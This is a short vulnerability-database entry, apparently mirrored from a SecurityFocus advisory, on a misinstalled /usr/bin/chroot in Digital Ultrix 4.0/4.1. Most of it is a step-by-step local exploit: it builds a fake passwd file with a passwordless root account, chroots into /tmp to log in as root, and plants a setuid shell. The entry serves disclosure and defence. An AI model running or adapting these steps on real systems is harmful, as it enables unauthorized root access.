Digital Ultrix 4.0/4.1 /usr/bin/chroot Vulnerability

2014-07-01T00:00:00
ID SSV:73014
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                source: http://www.securityfocus.com/bid/17/info

By default, /usr/bin/chroot is improperly installed in Ultrix versions 4.0 and 4.1. Anyone can execute /usr/bin/chroot this can lead to system users to gain unauthorized privileges.

$ mkdir /tmp/etc
$ echo root::0:0::/:/bin/sh > /tmp/etc/passwd
$ mkdir /tmp/bin
$ cp /bin/sh /tmp/bin/sh
$ cp /bin/chmod /tmp/bin/chmod
$ chroot /tmp /bin/login

Then login as root with no password. chmod /tmp/bin/sh
to 4700, exit and run the suid /tmp/bin/sh.